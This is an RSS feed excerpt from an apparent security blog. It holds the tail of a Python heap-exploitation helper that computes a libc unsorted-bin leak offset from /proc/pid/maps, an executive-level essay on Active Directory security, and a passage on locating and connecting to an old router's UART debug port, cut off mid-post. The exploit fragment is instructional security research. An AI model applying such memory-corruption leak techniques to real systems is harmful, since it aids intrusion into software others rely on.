&lt;&#x2F;span&gt;&lt;span&gt;    leak &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;(name.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ljust&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# Read actual libc base from &#x2F;proc&#x2F;pid&#x2F;maps
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;proc&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;{cal.pid}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;maps&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;line &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;libc.so.6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;line &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;r--p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;line:
&lt;&#x2F;span&gt;&lt;span&gt;                actual_base &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(line.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            cal.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;raise &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;RuntimeError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Could not find libc in &#x2F;proc&#x2F;pid&#x2F;maps&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    offset &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;leak &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span&gt;actual_base
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;offset &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;actual_base &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0xfff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;    log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;success&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;unsorted bin offset = &lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(offset)} &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;(leak=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(leak)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;, base=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(actual_base)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;offset
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</description>
      </item>
      <item>
          <title>Why Active Directory Security is Essential</title>
          <pubDate>Thu, 09 Jan 2025 00:00:00 +0000</pubDate>
          <author>s3mme</author>
          <link>https://s3mme.com/posts/why-ad-security-is-essential/</link>
          <guid>https://s3mme.com/posts/why-ad-security-is-essential/</guid>
          <description xml:base="https://s3mme.com/posts/why-ad-security-is-essential/">&lt;h2 id=&quot;tl-dr&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tl-dr&quot; aria-label=&quot;Anchor link for: tl-dr&quot;&gt;TL;DR&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Role of Active Directory&lt;&#x2F;strong&gt;: Centralized identity and access management system, critical for securing enterprise resources&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Risk&lt;&#x2F;strong&gt;: High-value target for attackers; breaches can disrupt operations and cause financial&#x2F;reputational damage&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Impact of Breaches&lt;&#x2F;strong&gt;: Financial losses, legal&#x2F;regulatory penalties, operational downtime, and damaged reputation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation Strategies&lt;&#x2F;strong&gt;:
&lt;ul&gt;
&lt;li&gt;Enhance monitoring with SIEM, EDR, and XDR solutions&lt;&#x2F;li&gt;
&lt;li&gt;Conduct AD penetration tests and red team assessments&lt;&#x2F;li&gt;
&lt;li&gt;Provide continuous training for IT personnel&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;blockquote&gt;
  If you are a CEO, CFO, CMO, or basically any non-IT member of a management team, you probably haven’t ever heard of _Active Directory (AD)_.
Nonetheless, you are using it every day, every hour, every minute when you log in to your device, open your emails, access an application, or share a file.
It is the very foundation on which your IT infrastructure is built.
  &lt;br&gt; &lt;br&gt;
  ~Tenable &lt;a href=&#x27;#bibreference-1&#x27; title=&#x27;Tenable, A global threat to enterprises: The impact of AD attacks. Tenable, 2021. [Online]. Available: https:&#x2F;&#x2F;de.tenable.com&#x2F;whitepapers&#x2F;a-global-threat-to-enterprises-the-impact-of-ad-attacks [Accessed: Nov. 18, 2024].&#x27;&gt;[1]&lt;&#x2F;a&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I believe this quote to be quite fitting, as Active Directory is quite the niche product.
If you are not a sysadmin, or any IT-person inside a company you probably have never heard of it.&lt;&#x2F;p&gt;
&lt;p&gt;However, it is one of the most important, if not &lt;strong&gt;the&lt;&#x2F;strong&gt; most important, asset to protect inside an organization.
Past incidents like the SolarWinds attack in 2021 underline this as threat actors were able to distribute malware-infused updates after compromising the infrastructure &lt;a class=&quot;hugo-simplecite-cite-hyperlink&quot; href=&quot;#bibreference-1&quot; title=&quot;Tenable, A global threat to enterprises: The impact of AD attacks. Tenable, 2021. [Online]. Available: https:&#x2F;&#x2F;de.tenable.com&#x2F;whitepapers&#x2F;a-global-threat-to-enterprises-the-impact-of-ad-attacks [Accessed: Nov. 18, 2024]. &quot;&gt;[1]&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;But what is Active Directory and why is it this important?&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;what-is-active-directory&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#what-is-active-directory&quot; aria-label=&quot;Anchor link for: what-is-active-directory&quot;&gt;What is Active Directory?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;Active Directory (AD)&lt;&#x2F;em&gt; is the component that serves as the backbone of &lt;em&gt;Identity and Access Management (IAM)&lt;&#x2F;em&gt; for most large organizations worldwide &lt;a href=&quot;#bibreference-2&quot; title=&quot;6sense, Best identity and access management software in 2024, 2024. [Online]. Available: https:&#x2F;&#x2F;www.6sense.com&#x2F;tech&#x2F;identity-and-access-management [Accessed: Oct. 28, 2024].&quot;&gt;[2]&lt;&#x2F;a&gt;.
As the primary system for managing credentials, permissions, and access to critical resources, AD serves a key role in an organization&#x27;s infrastructure.
However, due to this critical role, AD is also a prime target for attackers.
Therefore, weaknesses in AD configurations can have severe consequences.
This article explores why AD security is critical for leaders of organizations, the impact of inadequate AD management, and practical steps to strengthen AD defenses.&lt;&#x2F;p&gt;
&lt;p&gt;Active Directory’s role in enterprise environments extends beyond simple user authentication.
As a core IAM system, it dictates who can access what across an organization, directly influencing security and operational continuity.&lt;&#x2F;p&gt;
&lt;p&gt;At the heart of AD is a centralized identity management.
AD enables enterprises to control permissions at a granular level, granting users access to resources based on their roles.
By centralizing these access controls, AD allows organizations to standardize security policies across the board, reducing the complexity of managing permissions for hundreds or thousands of users.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;why-is-ad-a-prominent-target&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#why-is-ad-a-prominent-target&quot; aria-label=&quot;Anchor link for: why-is-ad-a-prominent-target&quot;&gt;Why is AD a prominent target?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In today’s threat landscape, Active Directory is a high-value target for attackers because compromising it allows attackers to access confidential data, disrupt operations, and execute privileged attacks.
Once attackers identify gaps in AD&#x27;s configuration, they see it as the gateway the organization’s resources.
Gaining control of an AD domain enables exploring the network from the inside, identifying and locating high-value targets, such as servers containing customer or employee data, intellectual property and other sensitive information.
This also means that a single AD compromise can allow threat actors to traverse a network and access systems that would otherwise be segmented and protected.&lt;&#x2F;p&gt;
&lt;p&gt;As highlighted in Microsoft’s 2023 Digital Defense Report &lt;a href=&#x27;#bibreference-3&#x27; title=&#x27;Microsoft, Microsoft digital defense report 2023, 2023. [Online]. Available: https:&#x2F;&#x2F;www.microsoft.com&#x2F;en&#x2F;security&#x2F;security-insider&#x2F;microsoft-digital-defense-report-2023 [Accessed: Nov. 3, 2024].&#x27;&gt;[3]&lt;&#x2F;a&gt;, common AD misconfigurations often create vulnerabilities that attackers exploit.
For instance, excessive privileged access, insufficient monitoring of AD activity, and weak segmentation between on-premises and cloud AD environments are frequent issues.
These weaknesses leave AD exposed, increasing the risk of an attack that could impact the entire organization.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;financial-and-reputational-risks&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#financial-and-reputational-risks&quot; aria-label=&quot;Anchor link for: financial-and-reputational-risks&quot;&gt;Financial and Reputational Risks&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The consequences of an AD breach extend beyond immediate technical issues.
The financial and reputational impacts of an AD compromise can be severe, affecting the organization’s bottom line and brand reputation.&lt;&#x2F;p&gt;
&lt;p&gt;When attackers gain unauthorized access through AD, the resulting breach can result in significant financial losses.
Direct costs can include expenses related to remediation, containment, and legal fees.
For example, organizations may hire third-party security firms to assist in the remediation of a breach.
Regulatory fines are another consideration, especially if the breach results in the exposure of sensitive customer or employee data.&lt;&#x2F;p&gt;
&lt;figure&gt;
    &lt;img src=&quot;breach_costs.png&quot;&gt;
    &lt;figcaption&gt;Figure 1: Average cost of a data breach over time &lt;a href=&quot;#bibreference-4&quot; title=&quot;IBM, Cost of a data breach 2024, 2024. [Online]. Available: https:&#x2F;&#x2F;www.ibm.com&#x2F;reports&#x2F;data-breach [Accessed: Oct. 28, 2024].&quot;&gt;[4]&lt;&#x2F;a&gt;&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;As Figure 1 shows, in 2024 the global average cost of a data breach rose to $4.88 million---a 10% increase from 2023---marking the largest annual increase since the pandemic &lt;a href=&quot;#bibreference-4&quot; title=&quot;IBM, Cost of a data breach 2024, 2024. [Online]. Available: https:&#x2F;&#x2F;www.ibm.com&#x2F;reports&#x2F;data-breach [Accessed: Oct. 28, 2024].&quot;&gt;[4]&lt;&#x2F;a&gt;.
This underscores the growing financial risk associated with data breaches, including those resulting from AD compromises.
Because AD is responsible for securing a large portion of an organization&#x27;s assets, an AD compromise can quickly become a costly event.&lt;&#x2F;p&gt;
&lt;p&gt;In addition to direct financial losses, a compromised AD environment can significantly damage an organization&#x27;s reputation.
Customers and investors may lose confidence in the organization&#x27;s ability to protect data, resulting in lost business and a potential decline value.
A major breach can also cause operational downtime, reducing productivity and impacting service delivery.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;key-misconfigurations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#key-misconfigurations&quot; aria-label=&quot;Anchor link for: key-misconfigurations&quot;&gt;Key Misconfigurations&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;AD misconfigurations are a leading cause of vulnerabilities within enterprise environments.
Microsoft’s 2023 report identifies several common misconfigurations that often expose AD to attacks &lt;a href=&#x27;#bibreference-3&#x27; title=&#x27;Microsoft, Microsoft digital defense report 2023, 2023. [Online]. Available: https:&#x2F;&#x2F;www.microsoft.com&#x2F;en&#x2F;security&#x2F;security-insider&#x2F;microsoft-digital-defense-report-2023 [Accessed: Nov. 3, 2024].&#x27;&gt;[3]&lt;&#x2F;a&gt;.
By addressing these issues, organizations can significantly reduce their risk profile.&lt;&#x2F;p&gt;
&lt;p&gt;One of the most common AD misconfigurations is the over-assignment of privileged access.
When too many users have high-level permissions, it increases the risk of privilege escalation attacks.
Implementing least-privilege policies helps restrict access, ensuring that only users who need elevated privileges for their roles are granted such access.
This simple adjustment can greatly reduce the chances of unauthorized privilege escalation within the network.&lt;&#x2F;p&gt;
&lt;p&gt;Real-time monitoring of AD activity is crucial for detecting and responding to unauthorized access attempts.
Without robust logging and monitoring, organizations may not detect suspicious behavior in time to prevent further escalation.
Implementing &lt;em&gt;security information and event management (SIEM)&lt;&#x2F;em&gt; solutions that provide alerts on unusual activity is an important step in improving the visibility inside the organizaion.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;strengthening-ad-security&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#strengthening-ad-security&quot; aria-label=&quot;Anchor link for: strengthening-ad-security&quot;&gt;Strengthening AD Security&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;To strengthen an organization&#x27;s infrastructure, it is critical to implement a layered approach that combines strong access controls, monitoring, regular testing, and proactive threat detection. Given the critical role that AD plays in identity and access management, a single gap can lead to extensive exposure across the network.&lt;&#x2F;p&gt;
&lt;p&gt;Applying the &lt;em&gt;principle of least privilege (PoLP)&lt;&#x2F;em&gt; ensures that users, applications, and systems have only the minimum privileges necessary to do their jobs.
In practice, PoLP limits the number of privileged accounts and tightly restricts their permissions, helping to reduce the risk of privilege escalation and unauthorized access.&lt;&#x2F;p&gt;
&lt;p&gt;Another step in improving the security posture is the implementation of active detection methods, such as &lt;em&gt;Endpoint Detection and Response (EDR)&lt;&#x2F;em&gt; and &lt;em&gt;Extended Detection and Response (XDR)&lt;&#x2F;em&gt; solutions.
They are critical to securing Active Directory environments by providing continuous visibility into endpoint activity and detecting anomalous behavior in a timely manner.
By identifying early signs of potential compromise, such as password spraying or credential dumping, EDR and XDR solutions enable the defense team to respond quickly and contain threats before they escalate.&lt;&#x2F;p&gt;
&lt;p&gt;Another proactive measure is an &lt;strong&gt;AD penetration test&lt;&#x2F;strong&gt;.
This enables organizations to assess their security posture from an internal perspective by simulating attacks originating within the network, these tests identify misconfigurations, weak permissions, and other vulnerabilities in the AD configuraion that could be exploited by attackers.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Red team assessments&lt;&#x2F;strong&gt; are another effective complement to internal AD penetration testing.
By emulating real-world adversary tactics and techniques, they offer a comprehensive view of an organization&#x27;s security stance.
In contrast to standard penetration tests, red team assessmens simulate stealthy threat actors that put an organizations defensive capabilities to the test.
This includes feedback on the effectiveness of implemented policies, threat detection and response protocols.&lt;&#x2F;p&gt;
&lt;p&gt;A robust AD security posture depends on the expertise of informed administrators, IT professionals, and defensive teams.
Continuous training on the latest AD threats, best practices, and security configurations ensures that personnel are equipped with the knowledge and skills to proactively manage AD settings and detect potential vulnerabilities.
Awareness programs also enable teams to identify potential misconfigurations or security gaps and implement improvements.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;For organizations, securing Active Directory is not simply a technical consideration but a strategic one.
As cyber threats evolve and attackers become more sophisticated, hardening AD security is crucial for mitigating risk and safeguarding assets.
By prioritizing proactive AD management, enforcing least-privilege access, and regularly assessing configurations, organizations can their resilience against threats.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;resources&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#resources&quot; aria-label=&quot;Anchor link for: resources&quot;&gt;Resources&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ol class=&quot;&quot;&gt;
    &lt;li class=&quot;-item&quot; id=&quot;bibreference-1&quot;&gt;Tenable, &lt;em&gt;A global threat to enterprises: The impact of AD attacks&lt;&#x2F;em&gt;. Tenable, 2021. [Online]. Available: &lt;a class=&quot;&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;de.tenable.com&#x2F;whitepapers&#x2F;a-global-threat-to-enterprises-the-impact-of-ad-attacks&quot;&gt;https:&#x2F;&#x2F;de.tenable.com&#x2F;whitepapers&#x2F;a-global-threat-to-enterprises-the-impact-of-ad-attacks&lt;&#x2F;a&gt; [Accessed: Nov. 18, 2024].&lt;&#x2F;li&gt;
    &lt;li class=&quot;-item&quot; id=&quot;bibreference-2&quot;&gt;6sense, &lt;q&gt;Best identity and access management software in 2024,&lt;&#x2F;q&gt; 2024. [Online]. Available: &lt;a class=&quot;&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.6sense.com&#x2F;tech&#x2F;identity-and-access-management&quot;&gt;https:&#x2F;&#x2F;www.6sense.com&#x2F;tech&#x2F;identity-and-access-management&lt;&#x2F;a&gt; [Accessed: Oct. 28, 2024].&lt;&#x2F;li&gt;
    &lt;li class=&quot;-item&quot; id=&quot;bibreference-3&quot;&gt;Microsoft, &lt;em&gt;Microsoft digital defense report 2023&lt;&#x2F;em&gt;, 2023. [Online]. Available: &lt;a class=&quot;&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.microsoft.com&#x2F;en&#x2F;security&#x2F;security-insider&#x2F;microsoft-digital-defense-report-2023&quot;&gt;https:&#x2F;&#x2F;www.microsoft.com&#x2F;en&#x2F;security&#x2F;security-insider&#x2F;microsoft-digital-defense-report-2023&lt;&#x2F;a&gt; [Accessed: Nov. 3, 2024].&lt;&#x2F;li&gt;
    &lt;li class=&quot;-item&quot; id=&quot;bibreference-4&quot;&gt;IBM, &lt;em&gt;Cost of a data breach 2024&lt;&#x2F;em&gt;, 2024. [Online]. Available: &lt;a class=&quot;&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ibm.com&#x2F;reports&#x2F;data-breach&quot;&gt;https:&#x2F;&#x2F;www.ibm.com&#x2F;reports&#x2F;data-breach&lt;&#x2F;a&gt; [Accessed: Oct. 28, 2024].
    &lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</description>
      </item>
      <item>
          <title>Peek Inside: T-Home Speedport W700V Router</title>
          <pubDate>Mon, 04 Nov 2024 00:00:00 +0000</pubDate>
          <author>s3mme</author>
          <link>https://s3mme.com/posts/peek-inside-speedport-w700v/</link>
          <guid>https://s3mme.com/posts/peek-inside-speedport-w700v/</guid>
          <description xml:base="https://s3mme.com/posts/peek-inside-speedport-w700v/">&lt;p&gt;I have a habit of buying used hardware whenever I see something interesting where I might think: &quot;Let&#x27;s open it up and see how it works&quot;.
Therefore, I have a bin full of scrap electronics that wait their turn to be analyzed by me.&lt;&#x2F;p&gt;
&lt;p&gt;As the title suggests, I recently picked a router from that pile, the T-Home Speedport W700V.
This router is pretty old (from around 2008) so it makes a good target as I won&#x27;t be sad when I brick it by accident.
The goal is to check if it has any debugging ports we can connect to and potentially dump the firmware.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;connecting-to-the-device&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#connecting-to-the-device&quot; aria-label=&quot;Anchor link for: connecting-to-the-device&quot;&gt;Connecting to the Device&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Looking at the router, we can identify four screws holding the back plate of the device.
After removing them with a Phillips screwdriver, we can pry open the plastic case.
Be careful with the external antenna, which is attached by a wire.
We are greeted by a beautiful 15-year-old circuit board.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;peek-inside-speedport-w700v&#x2F;.&#x2F;platine.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Right off the bat we can see a few different chips on the board.
The CPU, RAM and Flash chips are marked in green, blue and red respectively.&lt;&#x2F;p&gt;
&lt;p&gt;We can also see an unmarked area on the board with a few pins sticking out (marked in magenta).
This immediately indicates that this is an exposed debug port, which conveniently has header pins already attached for us.
So let&amp;#39;s find out what these pins do.&lt;&#x2F;p&gt;
&lt;p&gt;Since I suspect that this is a serial port, let us check if the board uses the &lt;em&gt;Universal Asynchronous Receiver-Transmitter (&lt;strong&gt;UART&lt;&#x2F;strong&gt;)&lt;&#x2F;em&gt; protocol as this is quite common for these debug ports.
Let&amp;#39;s investigate: To identify the TX, RX, GND, and VCC pins, we can use a multimeter to analyze the behavior of each pin using both voltage readings and signal patterns.
We begin by powering up the board, setting our multimeter to continuity mode, and locate the GND pin by probing all pins against a known ground (such as the metal shield we see on the PCB).
Similarly, we can locate VCC by checking the pins for a stable 3.3V voltage (relative to GND).
With GND and VCC identified, we can focus on the TX (transmit) and RX (receive) pins.
TX, which is responsible for transmitting data, will naturally show voltage fluctuations as data is transmitted.
This is the usual rising and falling edge pattern of the protocol.
RX usually stays low when it&amp;#39;s not receiving data.
To make sure we have the right pin, we can try different ones or use specialized hardware like the &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;buspirate.com&#x2F;&quot;&gt;BusPirate&lt;&#x2F;a&gt;.
The BusPirate checks different PIN configurations and automatically determines the correct one.&lt;&#x2F;p&gt;
&lt;p&gt;With the pinout configured, we can set up our connection to the computer.
We saw that our VCC is 3.3V, therefore we change the pullup resistor on our serial adapter accordingly.
Make sure you check your voltages as well to avoid bricking your target.
Afterwards, we can connect the adapter&amp;#39;s GND to the GND on the board, TX to the board&amp;#39;s RX, and vice-versa.
We alternate TX and RX as our adapter &lt;em&gt;reads&lt;&#x2F;em&gt; from the board&amp;#39;s &lt;em&gt;transmit&lt;&#x2F;em&gt; pin, and vice-versa.&lt;&#x2F;p&gt;
&lt;p&gt;Now, we can attach to the serial interface via &lt;code&gt;picocom&lt;&#x2F;code&gt;, &lt;code&gt;screen&lt;&#x2F;code&gt; or another tool that can read from serial.
We choose screen for its simplicity today and connect to the device via &lt;code&gt;screen &#x2F;dev&#x2F;ttyUSB0 115200&lt;&#x2F;code&gt;, where &lt;code&gt;115200&lt;&#x2F;code&gt; represents the &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Baud&quot;&gt;Baudrate&lt;&#x2F;a&gt; of the device.
After we are connected, and boot the device, we can see the boot log of the machine.
This confirms our assumption that the header pins are a debugging port!&lt;&#x2F;p&gt;
&lt;p&gt;Examining the log, we see a lot of interesting information, for example, right after booting it waits for a certain key sequence to enter the bootloader&amp;#39;s menu.
